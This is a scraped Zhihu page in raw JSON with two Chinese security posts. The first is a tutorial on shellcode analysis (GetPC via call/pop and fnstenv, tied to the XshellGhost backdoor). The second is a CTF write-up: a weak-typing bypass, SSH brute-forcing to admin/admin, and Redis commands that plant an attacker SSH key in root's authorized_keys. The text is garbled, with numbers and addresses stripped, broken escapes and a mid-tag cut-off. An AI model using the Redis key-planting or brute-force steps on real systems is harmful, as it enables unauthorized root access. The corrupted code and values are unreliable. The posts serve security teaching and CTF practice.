手动符号解析其实呢shellcode作为一个获得执行二进制代码块,一旦执行的话,肯定得搞个什么大新闻出来,这种大新闻一般就是通过API和系统进行交互操作。但是在Wi…&,&reviewingCommentsCount&:0,&meta&:{&previous&:{&isTitleImageFullScreen&:false,&rating&:&none&,&titleImage&:&&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&topics&:[{&url&:&https:\u002F\u002Fwww.zhihu.com\u002Ftopic\u002F&,&id&:&&,&name&:&逆向工程&},{&url&:&https:\u002F\u002Fwww.zhihu.com\u002Ftopic\u002F&,&id&:&&,&name&:&计算机病毒&}],&adminClosedComment&:false,&href&:&\u002Fapi\u002Fposts\u002F&,&excerptTitle&:&&,&author&:{&bio&:&喜欢把打黑产编成故事讲给大家听的安全研究员&,&isFollowing&:false,&hash&:&f4bbcf2d2a35e92c5c5d22b&,&uid&:112400,&isOrg&:false,&slug&:&elknot&,&isFollowed&:false,&description&:&我已委托“维权骑士”(http:\u002F\u002Frightknights.com)为我的文章进行维权行动\n\nSenior Security Researcher of Qihoo 360 ESG\nSpeaker on ISC2017, DEFCON Group\nB.S. Degree in Computer Science\nFocus on Applications of Threat Intelligence Hierarchy and Advanced Threat Analysis Research&,&name&:&elknot&,&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Felknot&,&avatar&:{&id&:&v2-1ff21fd0afdaf9da0a1c12&,&template&:&https:\u002F\u002Fpic2.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false},&column&:{&slug&:&binandhex&,&name&:&关于二进制和查户口的那些不得不说的事儿&},&content&:&\u003Cp\u003E又有一段时间没发专栏了,这一段时间事儿真的有点多,一方面要带实习生分析Windows方面的Security Bulletin,另一方面XshellGhost这个事儿着实给同事们恶心了好一段时间。XshellGhost这个后门其实恶心的不是他的方式,类似的方式我们都见过了,真正恶心的是他这个后门当中的shellcode,所以这篇文章主要说的就是shellcode方面的分析。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E0x01 shellcode是神马东西:\u003C\u002Fb\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E可能各位表哥表姐都知道shellcode这个东西,但是我还是唠叨一下:shellcode是指一个原始可执行代码的有效载荷。其实shellcode这个名字来源于攻击者一般会用一段自包含的可执行代码,其本质上的目的还是恶意代码用来执行进程注入来改变当前程序运行结果的东西。其实漏洞利用在机制上与shellcode被植入到一个运行的程序然后在进程启动之后执行的原理相似。但是shellcode不能依赖于Windows DLL加载器在普通程序启动的时候干下面几件事儿:\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cul\u003E\u003Cli\u003E将程序布置在它首选的位置\u003C\u002Fli\u003E\u003Cli\u003E如果不能加载到首选的内存,这个时候就要应用地址重定向\u003C\u002Fli\u003E\u003Cli\u003E加载外部需要的库,解决依赖问题\u003C\u002Fli\u003E\u003C\u002Ful\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E0x02 加载shellcode进行分析:\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003Eshellcode因为是一个二进制的表示的数据块,所以不能直接在调试器中加载和运行。所以我们用一个简化过后的包含shellcode的PE文件来当做后面说明的东西。我们选择用Hopper Disassembler来静态分析这个PE文件,但是一定要注意选择正确的选项。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E1.PIC位置无关代码:\u003C\u002Fb\u003E\u003Cbr\u003EPIC是指不是用硬编码地址来寻址指令和数据的代码,其实shellcode就是一种PIC,由于他不能假设自己在执行时候会被加载到一个特定的内存位置(在运行时里,一个带有漏洞的程序的不同版本可能加载shellcode道不同的内存位置),所以shellcode必须确定所有对代码和数据的内存访问都使用PIC。\u003C\u002Fp\u003E\u003Cp\u003E我们先来举几个常见的x86汇编代码和数据访问类型的例子:\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cimg src=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-4af92e062f00c051c2fee5_b.jpg\& data-rawwidth=\&1296\& data-rawheight=\&428\& class=\&origin_image zh-lightbox-thumb\& width=\&1296\& data-original=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-4af92e062f00c051c2fee5_r.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E先来看第一条:call指令里面包含一个32位的有符号的相对位移值,通过把这个位移和他后面的地址相加来计算出这个目标位置,在表里面call指令是在0x0040103A,然后根据字节码可以得到偏移值是0XFFFFFFC1到这个指令的位置,再加上call指令的大小(5个字节),这个时候就会调用目标的地址0x。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E再来看第二条:我们都知道jnz指令除了只用一个8位的有符号相对位移值之外,其实和call指令是一样一样的,我们得知,这条语句里面jnz指令位于0x0040103A,我们看字节码部分,之后将在0x0e保存的偏移值和这个指令大小(2Byte)加到一起,最后得到目标地址为0x。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E通过前两条我们可以了解到以下的东西:call和jump指令是与位置无关的,这些指令的目标地址是把EIP寄存器值定的当前位置加上一个保存在指令中的相对偏移值来计算的。当然也有一些特殊形式的call和jump指令允许程序员使用绝对或者非相对的不是位置无关的寻址方式。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E我们来看第三条:mov edx, dword_407030这里的mov指令表示一个访问全局变量dword_407030的指令,通过字节码我们可以得到这个dword的位置是0x,这个指令很明显就是和位置有关系,所以他不属于PIC代码。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E接着来看第四条:其实这条指令和上一条指令用的都是mov指令,而且访问的是一个栈上的dword,这个指令使用EBP寄存器作为一个基值,,并且指令里面还有一个相对偏移值0xFC也就是-4,这个类型的数据访问很明显和位置无关,并且是shellcode编写者必须对所有数据访问使用的模型——计算一个运行时地址,并仅通过使用相对这个未知的偏移值来引用数据。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E2.识别执行位置:\u003C\u002Fb\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003Eshellcode在以位置无关的方式访问数据的时候,需要解引用一个基址的指针,用这个指针对偏移值进行加减操作将会让它能够安全的访问shellcode中所包含的数据。由于x86不提供相对EIP的数据范文寻址方式仅对控制流指令提供EIP相对寻址,所以一个通用寄存器必须首先载入当前指令指针值来当做基址指针使用。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E获取当前指令指针值可能有点麻烦,因为x86的指令指针不能被软件直接访问,事实上你写一个mov eax, eip是没有办法被汇编解释器解释的,这个时候我们就有两种方法来解决这个问题,一个是使用call\u002Fpop指令,还有一个就是使用fnstenv指令。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E0x03 call\u002Fpop指令与fnstenv指令:\u003C\u002Fb\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E1.call\u002Fpop指令:\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E当一个call指令被执行的时候,处理器会把call后面的指令的地址压到栈上,然后转到被请求的位置进行执行,这个函数执行完的时候会执行一个ret命令用来把返回地址弹到栈顶病将他载入指令指针寄存器中。这样做的结果就是执行刚好返回到call后面的指令。shellcode可以通过在一个call后面的立刻执行pop指令来把这个指令黑化,让他pop一个我们想要让他去的地方,听上去是不是非常像ROP呢,得意.jpg,我们撸一段代码:\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Esub
esp, 20h\nxor
edx, edx\ncall
sub_17\ndb
‘Hello MyFriend!’\n\nsub_17:\npop
edi gets string pointer\npush
uType: MB_OK\npush
lpCaption\npush
lpText\npush
hWnd: NULL\nmov
eax, 7E4507EAMessageBoxA\ncall
uExitCode\nmov
eax, 7C81CAFAuExitProcess\ncall
eax\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E我们来仔细看一下这个代码,call sub_17(字节码E8 0D 00 00 00)这个地方其实是一个PIC指令,毕竟call指令使用一个相对的EIP值0x0000000D来计算call谁。call的sub_17中的第一句pop edi的意思是将保存在栈顶的地址载入EDI中。要记住一点,这个通过call指令保存的EIP值指向紧跟着这个call的位置,所以在pop指令执行后,EDI将包含一个指向db ‘Hello MyFriend!’来创建一段字节序列,用来拼出hello myfriend这个字符串,pop命令执行后,edi将会指向这个字符串。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E这种混合代码和数据的方法其实相对于shellcode来说简直太常见了,但是能够很容易让那些试图把call指令后面数据作为代码解析的反汇编器懵逼,结果就会是你看见的反汇编代码连你自己都看不下去了,或者是反汇编器自己把自己停了,因为遇到了他不认识的东西(无效opcode),所以使用call\u002Fpop指令组合获取指向数据的指针可以作为一种攻击反汇编的方法来反逆向。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E接着看上面的代码,sub_17的第8行call eax是为了调用MessageBoxA来显示这个Hello MyFriend的字符串,然后调用最后一行的call eax来调用上面的一行去执行exitProcess来退出程序。这个时候如果通过OD去找到函数地址的时候,只需要打开任意一个进程,Ctrl+G一下输入MessageBoxA就能找到了。如果你真的想要搞一下的话,请记着把上面的例子里面的7E4507EAh、7C81CAFAh替换成正确的地址,这里因为是例子所以用的是假的。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E2.fnstenv指令:\u003C\u002Fp\u003E\u003Cp\u003EX87 FPU在普通的x86里面提供了一个隔离的环境,这个隔离环境里面包含了一个专用的单独的寄存器集合,当一个进程正在使用FPU执行浮点运算的时候,这些寄存器需要由操作系统上下文切换的时候保存,也就是fstenv指令和fnstenv指令。下面的结构体在32位保护模式中执行时用来保存FPU的状态到内存中。\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-c\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003E\u003Cspan class=\&k\&\u003Estruct\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003EFpuSaveState\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E{\u003C\u002Fspan\u003E\n
\u003Cspan class=\&kt\&\u003Euint32_t\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003Econtrol_word\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n
\u003Cspan class=\&kt\&\u003Euint32_t\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003Estatus_word\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n
\u003Cspan class=\&kt\&\u003Euint32_t\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003Etag_word\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E;\u003C\u002Fspan\u003E\n
\u003Cspan class=\&kt\&\u003Euint32_t\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003Efpu_instruction_pointer\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n
\u003Cspan class=\&kt\&\u003Euint32_t\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003Efpu_instruction_selector\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n
\u003Cspan class=\&kt\&\u003Euint32_t\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003Efpu_opcode\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n
\u003Cspan class=\&kt\&\u003Euint32_t\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003Efpu_operand_pointer\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n
\u003Cspan class=\&kt\&\u003Euint16_t\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003Efpu_operand_selector\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n
\u003Cspan class=\&kt\&\u003Euint16_t\u003C\u002Fspan\u003E \u003Cspan class=\&n\&\u003Ereserved\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E};\u003C\u002Fspan\u003E\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E这里唯一影响使用的域是在字节偏移量12处的fpu_instruction_point,这个变量会保留被FPU使用的最后一条CPU指令的地址,并为异常处理器标示哪条FPU指令可能导致错误的上下文信息。需要这个与是因为FPU和CPU是并行的,如果FPU抛出异常,异常处理器不能简单的通过参照中断返回地址来找到这个错误的指令,下面这个代码是使用fnstenv获取EIP中Hello FNSTENV程序的反汇编代码。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Esub
esp, 20h\nxor
edx, edx\njmp
short loc_1C\ndd
7E4507EAMessageBoxA\ndd
7C81CAFAExitProcess\ndb
‘Hello FNSTENV!’, 0\n\n\nloc_1C:\nfldz\nfnstenv
byte ptr[ esp-0Ch ]\npop
ebx point fldz\nlea
edi, [ ebx-0Dh ]load Hello FNSTENV pointer\npush
uType MB_OK\npush
lpCaption\npush
lpText\npush
hWnd: NULL\nmov
eax, [ ebx-15h]load MessageBoxA\ncall
call MessageBoxA\npush
uExitCode\nmov
eax, [ ebx-11h]load ExitProcess\ncall
call ExitProcess\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003Eloc_1C处第一句fldz指令将浮点数0.0压到FPU栈上,fpu_instruction_pointer的值在FPU中被更新成指向fldz指令,接着执行fnstenv
byte ptr[ esp-0Ch ],把FpuSaveState结构体保存到栈上的esp-0Ch处,这地方会允许shellcode在这一句执行一个pop指令把fpu_instruction_pointer的值载入ebx寄存器中,一旦这个pop执行,ebx会包含一个指向内存中fldz指令位置的值,之后shellcode会调用ebx作为一个基址寄存器访问嵌入到代码中的数据。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E和之前call\u002Fpop一样,这个代码里面的7E4507EAh、7C81CAFAh也是需要找到相应的位置替换掉才可以取运行。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E下周继续写完。。。。。。。今天下午还要去面基。。\u003C\u002Fp\u003E\u003Cp\u003E\u003C\u002Fp\u003E&,&state&:&published&,&sourceUrl&:&&,&pageCommentsCount&:0,&canComment&:false,&snapshotUrl&:&&,&slug&:,&publishedTime&:&T16:16:24+08:00&,&url&:&\u002Fp\u002F&,&title&:&恶意代码ShellCode分析的方法——我不能让我一个人被XshellGhost恶心&,&summary&:&又有一段时间没发专栏了,这一段时间事儿真的有点多,一方面要带实习生分析Windows方面的Security Bulletin,另一方面XshellGhost这个事儿着实给同事们恶心了好一段时间。XshellGhost这个后门其实恶心的不是他的方式,类似的方式我们都见过了,真正恶心的是…&,&reviewingCommentsCount&:0,&meta&:{&previous&:null,&next&:null},&commentPermission&:&review&,&commentsCount&:0,&likesCount&:32},&next&:{&isTitleImageFullScreen&:false,&rating&:&none&,&titleImage&:&&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&topics&:[{&url&:&https:\u002F\u002Fwww.zhihu.com\u002Ftopic\u002F&,&id&:&&,&name&:&CTF(Capture The Flag)&},{&url&:&https:\u002F\u002Fwww.zhihu.com\u002Ftopic\u002F&,&id&:&&,&name&:&渗透测试&},{&url&:&https:\u002F\u002Fwww.zhihu.com\u002Ftopic\u002F&,&id&:&&,&name&:&信息安全&}],&adminClosedComment&:false,&href&:&\u002Fapi\u002Fposts\u002F&,&excerptTitle&:&&,&author&:{&bio&:&喜欢把打黑产编成故事讲给大家听的安全研究员&,&isFollowing&:false,&hash&:&f4bbcf2d2a35e92c5c5d22b&,&uid&:112400,&isOrg&:false,&slug&:&elknot&,&isFollowed&:false,&description&:&我已委托“维权骑士”(http:\u002F\u002Frightknights.com)为我的文章进行维权行动\n\nSenior Security Researcher of Qihoo 360 ESG\nSpeaker on ISC2017, DEFCON Group\nB.S. Degree in Computer Science\nFocus on Applications of Threat Intelligence Hierarchy and Advanced Threat Analysis Research&,&name&:&elknot&,&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Felknot&,&avatar&:{&id&:&v2-1ff21fd0afdaf9da0a1c12&,&template&:&https:\u002F\u002Fpic2.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false},&content&:&\u003Cp\u003E0x00:写在前面\u003C\u002Fp\u003E\u003Cp\u003E实不相瞒这题是我出的,因为帮基友捧场外加想试一下出题,所以出了这么一道题给大家,结果由于本人13号还有一个topic在大数据与威胁分析论坛,最后导致柴总爱犬被多关了24个小时,本人对此深表歉意。还有各位大佬表哥表姐先别着急给我寄刀片,我拒收任何快递,得意.jpg。\u003C\u002Fp\u003E\u003Cp\u003E首先先来说一下题目本身:这次题是一道披着CTF题,但实际考察是渗透测试和入侵检测的点,所以各位赛棍很多人都卡在了开始甚至是某首次攻破vmware的大表哥(其实这事儿赖我)。\u003C\u002Fp\u003E\u003Cp\u003E解题的正常思路是这样的:Google Hacking-》代码审计(可以绕过)-》SSH暴力破解-》Redis提权写入SSH密钥-》修改文件-》开锁。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E0x01:隐写题目\u003C\u002Fp\u003E\u003Cp\u003E这道题说着是考隐写,实际上则是考察的大家利用搜索引擎解决问题,因为之前在赛场上给过大家一点提示:使用最简单最直接的方法去解决问题,谷歌\u002F百度\u002F360搜索:隐写在线工具,解密的工具在:\u003Ca href=\&https:\u002F\u002Flink.zhihu.com\u002F?target=http%3A\u002F\u002Fwww.atool.org\u002Fsteganography.php\& class=\& wrap external\& target=\&_blank\& rel=\&nofollow noreferrer\&\u003E图片隐写术加密 - 图片隐写术解密 - 图片中隐藏文字信息 - aTool在线工具\u003C\u002Fa\u003E,将图片下载到本地利用这个工具解密可以得到Flag:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cimg src=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-b3c0b6e8dd745d48db7f_b.jpg\& data-rawwidth=\&865\& data-rawheight=\&207\& class=\&origin_image zh-lightbox-thumb\& width=\&865\& data-original=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-b3c0b6e8dd745d48db7f_r.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E这里可以得到下一题的Flag。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E0x02:代码审计\u003C\u002Fp\u003E\u003Cp\u003E这个题目是一个送分题,可以很清楚的看到使用弱类型可以得到flag,PoC:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-bash\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Ecurl \u003Cspan class=\&s2\&\u003E\&http:\u002F\u002Fsweeperssl.synology.me:Fwelcometodc010.php?pass1%5B1%5D=123&pass2%5B%5D=123&nsukey=hxOXBF7yMVWo5%2BZfUhvr6m%2FaT4vDgA7gIiIarcM8JfOtyRB3OmxCzjclJkiNmjtjxD8wTaA%2FLPvUFhW64xKXkDbjaJhwsbWRlDAeIuYI2B0RHi4oWAmJGg1ajGlYHZ3bXJAo%2BSHAMjKZ%2BqeThcytW%2FoHhaSzD0tlXe%2B49LqheWVou3lIBHNJRR07%2Fh3FaNbK\&\u003C\u002Fspan\u003E\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E重点提示是在第一句话,仔细阅读理解题目可以得到913端口为SSH端口(明天(9.13)OpenSSH会发布漏洞(SSH弱口令)),使用Hydra直接爆破可以得到服务器弱口令admin\u002Fadmin。正因为是送分题,所以可以被绕过。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E0x03:SSH爆破\u002F远程登录\u003C\u002Fp\u003E\u003Cp\u003ESSH爆破的过程不说了,上面已经说到了,得到服务器密码之后可以远程登录服务器:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Essh admin@sweeperssl.synology.me -p 913\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E登陆之后我们会直接去找flag:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Efind \u002F -name lockcommand\nOutput: \u002Ftmp\u002Fflag\u002Flockcommand\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E0x04:写入&提权\u003C\u002Fp\u003E\u003Cp\u003E我们得到了flag在\u002Ftmp\u002Fflag下面,但是使用ls -alh我们可以看到flag的所有者是root:\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cimg src=\&https:\u002F\u002Fpic4.zhimg.com\u002Fv2-fbc81b0903cdb04a7c26ec_b.jpg\& data-rawwidth=\&838\& data-rawheight=\&254\& class=\&origin_image zh-lightbox-thumb\& width=\&838\& data-original=\&https:\u002F\u002Fpic4.zhimg.com\u002Fv2-fbc81b0903cdb04a7c26ec_r.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E所以这个时候你写入的话就会:\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cimg src=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-7403bccfdabd22e88a5dafa745eda8e4_b.jpg\& data-rawwidth=\&760\& data-rawheight=\&219\& class=\&origin_image zh-lightbox-thumb\& width=\&760\& data-original=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-7403bccfdabd22e88a5dafa745eda8e4_r.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E如果尝试sudo的话,你们会发现sudo被我干掉了:)\u003C\u002Fp\u003E\u003Cp\u003E所以说很明显提权这里不是用来sudo的,那么这个时候需要看一下有没有能提权的东西,我们使用netstat -ano来查看有没有什么端口开着:\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cimg src=\&https:\u002F\u002Fpic2.zhimg.com\u002Fv2-1f6b28f86a1f08b32983_b.jpg\& data-rawwidth=\&865\& data-rawheight=\&150\& class=\&origin_image zh-lightbox-thumb\& width=\&865\& data-original=\&https:\u002F\u002Fpic2.zhimg.com\u002Fv2-1f6b28f86a1f08b32983_r.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E恩,我们看到了一个127.0.0.1:62379的端口,再使用ps -ef|grep 62379可以看到服务是一个redis服务:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Eadmin@DC012:$ps -ef|grep 62379\nOutput: redis-server 127.0.0.1:62379\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E这个时候鸡贼的各位兄贵直接撸起袖子就是干,直接使用redis-cli -p 62379,结果发现:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cimg src=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-de3c5cf9dd313a58cc0e5d_b.jpg\& data-rawwidth=\&610\& data-rawheight=\&183\& class=\&origin_image zh-lightbox-thumb\& width=\&610\& data-original=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-de3c5cf9dd313a58cc0e5d_r.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E惊不惊喜!意不意外!开不开心!Redis不仅没有开放公网,而且还有认证,233333,是不是很想给出题人寄刀片?但是先不着急,我们可以找配置文件啊,所以果断找一下配置文件:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Eadmin@DC012:$ find \u002F -name redis.conf\nOutput: \u002Fusr\u002Fbin\u002Fredis\u002Fredis.conf\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E然后你们就会去很鸡贼的查看密码:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Eadmin@DC012: $ cat \u002Fusr\u002Fbin\u002Fredis\u002Fredis.conf |grep requirepass\nOutput: #requirepass password\nadmin@DC012: $ cat \u002Fusr\u002Fbin\u002Fredis\u002Fredis.conf |grep Port\nOutput: Port 6379\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E答题人:WTF?Redis的端口不是62379么?怎么变成了6379?我可能遇到了假的配置文件!!\u003C\u002Fp\u003E\u003Cp\u003E是的没错,这里是一个坑,你以为你以为的就是真的?Nope!其实真实的配置文件在\u002Fusr\u002Fsbin\u002Fred1s.conf下面,这里你可以通过文件来获得redis的密码:\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cimg src=\&https:\u002F\u002Fpic4.zhimg.com\u002Fv2-819f4eafcde6e33b1ffca_b.jpg\& data-rawwidth=\&819\& data-rawheight=\&111\& class=\&origin_image zh-lightbox-thumb\& width=\&819\& data-original=\&https:\u002F\u002Fpic4.zhimg.com\u002Fv2-819f4eafcde6e33b1ffca_r.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E然后你就会测试一下:\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cimg src=\&https:\u002F\u002Fpic4.zhimg.com\u002Fv2-7f097dc07dfc69a5b66d67455fc3abd1_b.jpg\& data-rawwidth=\&865\& data-rawheight=\&128\& class=\&origin_image zh-lightbox-thumb\& width=\&865\& data-original=\&https:\u002F\u002Fpic4.zhimg.com\u002Fv2-7f097dc07dfc69a5b66d67455fc3abd1_r.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E恩,看来这次终于解决了(内心OS:大哥为什么要这么玩我)\u003C\u002Fp\u003E\u003Cp\u003E然后就是正常的Redis写SSH密钥套路:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Etest@elknot360corpsec: $ ssh-keygen -t rsa -C fxckU\ntest@elknot360corpsec: $ cd ~\u002F.ssh\ntest@elknot360corpsec: $
(echo -e '\\n\\n';cat id_rsa.echo -e \&\\n\\n\&) & foo.txt\ntest@elknot360corpsec: $ scp foo.txt -P 913 admin@sweeperssl.synology.me:~\u002Ffoo.txt\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E另一台机器:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-bash\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Eadmin@DC012: $ redis-cli -p \u003Cspan class=\&m\&\u003E6C\u002Fspan\u003E -a cookie@dc010 flushall\nadmin@DC012: $ redis-cli -p \u003Cspan class=\&m\&\u003E6C\u002Fspan\u003E -a cookie@dc010 -x config \u003Cspan class=\&nb\&\u003Eset\u003C\u002Fspan\u003E dir \u002Froot\u002F.ssh\nadmin@DC012: $ redis-cli -p \u003Cspan class=\&m\&\u003E6C\u002Fspan\u003E -a cookie@dc010 -x config \u003Cspan class=\&nb\&\u003Eset\u003C\u002Fspan\u003E dbfilename authorized_keys\nadmin@DC012: $ redis-cli -p \u003Cspan class=\&m\&\u003E6C\u002Fspan\u003E -a cookie@dc010 save\nadmin@DC012: $ cat foo.txt\u003Cspan class=\&p\&\u003E|\u003C\u002Fspan\u003E redis-cli -p \u003Cspan class=\&m\&\u003E6C\u002Fspan\u003E -a cookie@dc010 -x \u003Cspan class=\&nb\&\u003Eset\u003C\u002Fspan\u003E crackit\nadmin@DC012: $ cat foo.txt\u003Cspan class=\&p\&\u003E|\u003C\u002Fspan\u003E redis-cli -p \u003Cspan class=\&m\&\u003E6C\u002Fspan\u003E -a cookie@dc010 save\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E这个时候你就可以干任何可怕的事儿了:\u003C\u002Fp\u003E\u003Cdiv 